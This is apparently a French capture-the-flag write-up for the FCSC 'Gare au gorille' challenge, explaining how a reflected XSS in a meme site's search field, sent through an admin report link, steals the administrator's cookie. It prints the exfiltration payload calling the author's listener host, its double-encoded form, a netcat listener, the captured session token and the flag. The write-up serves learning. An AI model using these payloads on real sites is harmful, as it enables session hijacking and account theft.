Gare au gorille
Nous allons voir ici le challenge Gare au gorille
Petit tour de reconnaissance
Cliquons sur le lien donné dans l'énoncé. Nous arrivons sur la page suivante :
Nous avons donc à faire à un site de collection de memes avec des singes un peu... beaucoup décalé (mon préféré c'est le 2e, bref).
On a aussi 2 menus en haut :
Meme collection
, qui redirige sur la page d'accueilAjouter un meme
qui redirige sur une autre page
Ce dernier nous est inaccessible car il faut les droits administrateur.
Revenons donc sur la page d'accueil et cliquons sur une image
Sur cette page, on a l'image, des tags liés à cette image et un drapeau.
On va cliquer sur le drapeau pour voir ce qu'il se passe.
Nous avons plusieurs informations intéressantes sur cette page.
- Cette page signale une image à un administrateur
- L'URL est
https://gare-au-gorille.france-cybersecurity-challenge.fr/report?url=/?search=meme_01.jpg
. On a une variableurl
qui contient l'URL de la recherche de l'image.
Une des attaques possibles serait de détourner cette URL en espérant pouvoir lire le cookie de l'administrateur en lui faisant croire que l'on signale un mauvais contenu alors qu'on va executer du Javascript pour lire le cookie.... À condition que le cookie de session soit lisible par Javascript.
BINGO !
Le cookie est lisible par Javascript car l'attribut HttpOnly
est à false
. Ce qui permet de pouvoir lire ce cookie avec du code.
Comment injecter du Javascript dans l'URL pour que le navigateur puisse l'interpréter ?
On va tenter une XSS basique sur l'URL de recherche.
Payload :
<script>alert("TOTO")</script>
BAM !
On vérifie dans le code source.
Effectivement, on retrouve bien notre payload injecté.
Exploit ! Exploit ! Exploit !
Nous allons donc forger un exploit pour tenter de récupérer le cookie de l'administrateur.
Pour cela, on va ouvrir un port en écoute sur une machine perso, et on va tenter de se faire connecter le navigateur de l'administrateur dessus avec le cookie.
Pour se faire, nous allons écrire le payload suivant :
<script>document.write('<img src="http://ecuri.es:1234?cookie=' + document.cookie + '" />')</script>
Ce morceau de code, injecte du code Javascript qui va créer une image en HTML dont l'URL pointe vers notre serveur malicieux
root@ecurie:/root# nc -lvp 1234
listening on [any] 1234 ...
Ça n'a pas l'air de fonctionner... Essayons de double encoder notre payload et appelons l'URL de report à l'administrateur.
%253Cscript%253Edocument.write%2528%2527%253Cimg%2Bsrc%253D%2522http%253A%252F%252Fecuri.es%253A1234%253Fcookie%253D%2527%2B%252B%2Bdocument.cookie%2B%252B%2B%2527%2522%2B%252F%253E%2527%2529%253C%252Fscript%253E
Attendons un peu...
root@ecurie:/root# nc -lvp 1234
listening on [any] 1234 ...
connect to [51.158.144.49] from ns3204063.ip-141-94-171.eu [141.94.171.29] 48430
GET /?cookie=token=O9Mv3sFaQD1UpQRLCXVOCzCi0dRbpz4Wy4kGPngZt36MZnR6xZpbHLQRWfDi6T45 HTTP/1.1
Host: ecuri.es:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4863.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://gare-au-gorille-www:2151/
Accept-Encoding: gzip, deflate
TADAAA !!
Nous avons récupéré le cookie de l'administrateur.
Utilisons le pour nous rendre sur la page d'ajout des memes.
Flag !
FCSC{14b15680de4e305b89eaa2a07b137abf4e39b5773f39a4ea7155ca5387c6f59e}